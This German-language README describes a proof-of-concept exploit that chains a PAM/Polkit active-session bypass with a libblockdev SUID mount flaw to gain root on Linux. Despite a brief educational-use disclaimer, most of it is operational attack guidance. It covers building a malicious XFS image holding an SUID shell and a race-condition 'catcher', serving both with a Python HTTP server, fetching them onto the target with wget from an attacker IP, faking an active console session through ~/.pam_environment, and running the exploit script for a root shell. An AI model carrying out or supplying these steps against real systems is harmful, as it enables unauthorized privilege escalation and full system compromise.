
Ein Proof of Concept zur Verkettung von CVE-2025-6018 (PAM/Polkit Active Session Bypass) und CVE-2025-6019 (libblockdev SUID Mount Flaw), um auf verwundbaren Linux-Systemen eine lokale Rechteausweitung (LPE) zu erreichen.
Ein robustes Proof of Concept (PoC) zur Verkettung von CVE-2025-6018 (PAM/Polkit Active-Session-Bypass) und CVE-2025-6019 (libblockdev-SUID-Mount-Fehler), um auf verwundbaren Linux-Systemen Root-Zugriff zu erlangen.
Dieses Tool dient ausschließlich Bildungszwecken und autorisierter Sicherheitsforschung. Verwenden Sie es nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
Dieser Exploit verkettet zwei logische Schwachstellen, um Privilegien von einem Standardbenutzer zu Root zu erweitern:
Active=yes zu kennzeichnen. Dieser Trick täuscht dem System vor, dass der entfernte Benutzer physisch an der Konsole anwesend ist, und umgeht so die Passwortanforderungen für Hardware-Verwaltungswerkzeuge wie udisks2.libblockdev (die von udisks2 verwendet wird) wendet das Sicherheitsflag nosuid nicht an, wenn ein Dateisystem vorübergehend für Wartungsarbeiten (wie Check oder Resize) eingehängt wird.Active=yes, um dieses Image ohne Passwort als Loop-Device einzuhängen.Filesystem.Check. Dadurch wird udisks2 gezwungen, das Image vorübergehend einzuhängen, um es zu überprüfen. Entscheidend ist, dass dieser temporäre Mount kein nosuid aufweist./proc/mounts in Echtzeit. In dem Moment, in dem der temporäre Mount erscheint, führt es die SUID-Payload aus, bevor das System den Mount wieder aushängt.Da der Zielmaschine oft Werkzeuge wie mkfs.xfs oder gcc fehlen, erzeugen wir die Payload lokal.
Führen Sie das Build-Skript auf Kali/Parrot aus:
./build_poc.sh
exploit.img (400-MB-XFS-Image mit SUID-Shell).catcher (den Race-Condition-Gewinner).Laden Sie die Dateien auf das Ziel hoch: Starten Sie einen Python-Server:
python3 -m http.server 80
Auf der Zielmaschine (z. B. in /tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
Laden Sie das Exploit-Skript herunter:
Speichern Sie den Inhalt von exploit.sh aus diesem Repository auf der Zielmaschine.
Führen Sie den Exploit aus:
chmod +x exploit.sh
./exploit.sh
Viel Spaß mit Root: Das Skript richtet automatisch das Loop-Device ein, startet den Catcher im Hintergrund und löst die Schwachstelle aus. Sie sollten sofort in einer Root-Shell landen.
Wenn das Skript nach einem Passwort fragt, ist Ihre SSH-Sitzung nicht aktiv. Behebung:
~/.pam_environment:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active. Das Ergebnis muss Active=yes lauten.Das verwundbare Zeitfenster ist nur wenige Millisekunden breit.
build_poc.sh enthalten), nicht eine Bash-Schleife.Filesystem.Check, die zuverlässiger ist als Resize.build_poc.sh (Angreifer-Seite)Automatisiert die Erstellung des bösartigen Images und kompiliert die statischen Binärdateien.
exploit.sh (Ziel-Seite)Der Orchestrator. Er übernimmt:
catcher im Hintergrund.udisksctl.Filesystem.Check.